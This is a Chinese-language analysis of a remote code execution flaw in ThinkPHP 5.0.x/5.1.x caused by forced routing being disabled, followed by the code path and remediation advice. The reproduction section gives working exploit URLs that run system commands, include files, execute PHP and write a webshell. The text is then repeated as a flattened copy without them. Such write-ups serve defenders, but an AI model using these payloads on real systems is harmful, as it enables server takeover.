通俗易懂的thinkphp5.0.x 5.1.x 未开启强制路由导致RCE分析
字数 1232 2025-08-20 18:17:53

ThinkPHP 5.0.x/5.1.x 未开启强制路由导致RCE漏洞分析

漏洞概述

本漏洞存在于ThinkPHP 5.0.x和5.1.x版本中,由于未开启强制路由(url_route_must)配置,攻击者可以通过精心构造的URL直接调用框架内部的类和方法,最终导致远程代码执行(RCE)。

影响版本

  • 5.0.7 <= ThinkPHP <= 5.0.22
  • ThinkPHP 5.1.x 全版本

漏洞复现

ThinkPHP 5.0.x 利用方式

  1. 获取配置信息:

    ?s=index/think\config/get&name=database.username
    
  2. 包含任意文件:

    ?s=index/\think\Lang/load&file=../../test.jpg
    
  3. 包含任意.php文件:

    ?s=index/\think\Config/load&file=../../t.php
    
  4. 执行系统命令:

    ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
    

ThinkPHP 5.1.x 利用方式

  1. 执行系统命令:

    ?s=index/\think\Request/input&filter[]=system&data=pwd
    
  2. 执行PHP代码:

    ?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
    
  3. 写入Webshell:

    ?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
    
  4. 执行系统命令:

    ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    

    ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    

漏洞分析

路由检测流程

  1. path()方法获取请求路径:

    • 通过$this->request->path()获取请求路径
    • 最终返回的是URL中的index/\think\Container/invokefunction部分
  2. routeCheck()方法:

    public function routeCheck() {
        $path = $this->request->path();
        $depr = $this->config('app.pathinfo_depr');
    
        // 路由检测
        $files = scandir($this->routePath);
        foreach ($files as $file) {
            if (strpos($file, '.php')) {
                $filename = $this->routePath . DIRECTORY_SEPARATOR . $file;
                // 导入路由配置
                $rules = include $filename;
                if (is_array($rules)) {
                    $this->route->import($rules);
                }
            }
        }
    
        // 是否强制路由模式
        $must = !is_null($this->routeMust) ? $this->routeMust : $this->config('app.url_route_must');
    
        // 路由检测 返回一个Dispatch对象
        return $this->route->check($path, $depr, $must, $this->config('app.route_complete_match'));
    }
    

    关键点在于$must变量,它决定了是否启用强制路由模式:

    • 如果开启强制路由(url_route_must=true),则输入的路由将严格检查,不存在定义的路由会报错
    • 默认情况下强制路由是关闭的,允许直接调用控制器和方法
  3. 路由解析:

    • 将URL中的/替换为|
    • 使用parseUrl()方法处理URL
    • 通过parseUrlPath()方法将URL按/分割成数组

命令执行流程

  1. 控制器实例化:

    • 通过URL获取控制器名和操作名
    • 实例化控制器类并保存在$instance变量中
  2. 方法调用:

    • 判断方法在当前环境是否可以调用
    • 执行Container::getInstance()->invokeMethod($call, $vars)
  3. 反射调用:

    • 通过反射方式调用方法
    • 最终实现任意代码执行

漏洞原理总结

  1. 路由解析缺陷:

    • ThinkPHP默认不开启强制路由(url_route_must)
    • 攻击者可以通过URL直接调用框架内部的类和方法
  2. 动态调用机制:

    • 框架允许通过URL参数动态调用控制器和方法
    • 缺乏严格的访问控制和参数过滤
  3. 反射调用风险:

    • 使用反射机制调用方法时未做充分的安全检查
    • 允许调用危险函数如call_user_func_array

修复建议

  1. 开启强制路由:

    // application/config.php
    'url_route_must' => true,
    
  2. 升级到安全版本:

    • ThinkPHP 5.0.23及以上版本
    • ThinkPHP 5.1的最新版本
  3. 输入过滤:

    • 对所有用户输入进行严格过滤
    • 禁止特殊字符和危险函数名
  4. 访问控制:

    • 限制可访问的控制器和方法
    • 实现白名单机制

总结

该漏洞利用ThinkPHP框架的路由解析机制缺陷,通过精心构造的URL绕过安全限制,直接调用框架内部方法实现远程代码执行。开发者应当重视框架的安全配置,及时更新到最新版本,并遵循最小权限原则进行开发。

ThinkPHP 5.0.x/5.1.x 未开启强制路由导致RCE漏洞分析 漏洞概述 本漏洞存在于ThinkPHP 5.0.x和5.1.x版本中,由于未开启强制路由(url_ route_ must)配置,攻击者可以通过精心构造的URL直接调用框架内部的类和方法,最终导致远程代码执行(RCE)。 影响版本 5.0.7 <= ThinkPHP <= 5.0.22 ThinkPHP 5.1.x 全版本 漏洞复现 ThinkPHP 5.0.x 利用方式 获取配置信息 : 包含任意文件 : 包含任意.php文件 : 执行系统命令 : ThinkPHP 5.1.x 利用方式 执行系统命令 : 执行PHP代码 : 写入Webshell : 执行系统命令 : 或 漏洞分析 路由检测流程 path()方法获取请求路径 : 通过 $this->request->path() 获取请求路径 最终返回的是URL中的 index/\think\Container/invokefunction 部分 routeCheck()方法 : 关键点在于 $must 变量,它决定了是否启用强制路由模式: 如果开启强制路由( url_route_must=true ),则输入的路由将严格检查,不存在定义的路由会报错 默认情况下强制路由是关闭的,允许直接调用控制器和方法 路由解析 : 将URL中的 / 替换为 | 使用 parseUrl() 方法处理URL 通过 parseUrlPath() 方法将URL按 / 分割成数组 命令执行流程 控制器实例化 : 通过URL获取控制器名和操作名 实例化控制器类并保存在 $instance 变量中 方法调用 : 判断方法在当前环境是否可以调用 执行 Container::getInstance()->invokeMethod($call, $vars) 反射调用 : 通过反射方式调用方法 最终实现任意代码执行 漏洞原理总结 路由解析缺陷 : ThinkPHP默认不开启强制路由(url_ route_ must) 攻击者可以通过URL直接调用框架内部的类和方法 动态调用机制 : 框架允许通过URL参数动态调用控制器和方法 缺乏严格的访问控制和参数过滤 反射调用风险 : 使用反射机制调用方法时未做充分的安全检查 允许调用危险函数如 call_user_func_array 修复建议 开启强制路由 : 升级到安全版本 : ThinkPHP 5.0.23及以上版本 ThinkPHP 5.1的最新版本 输入过滤 : 对所有用户输入进行严格过滤 禁止特殊字符和危险函数名 访问控制 : 限制可访问的控制器和方法 实现白名单机制 总结 该漏洞利用ThinkPHP框架的路由解析机制缺陷,通过精心构造的URL绕过安全限制,直接调用框架内部方法实现远程代码执行。开发者应当重视框架的安全配置,及时更新到最新版本,并遵循最小权限原则进行开发。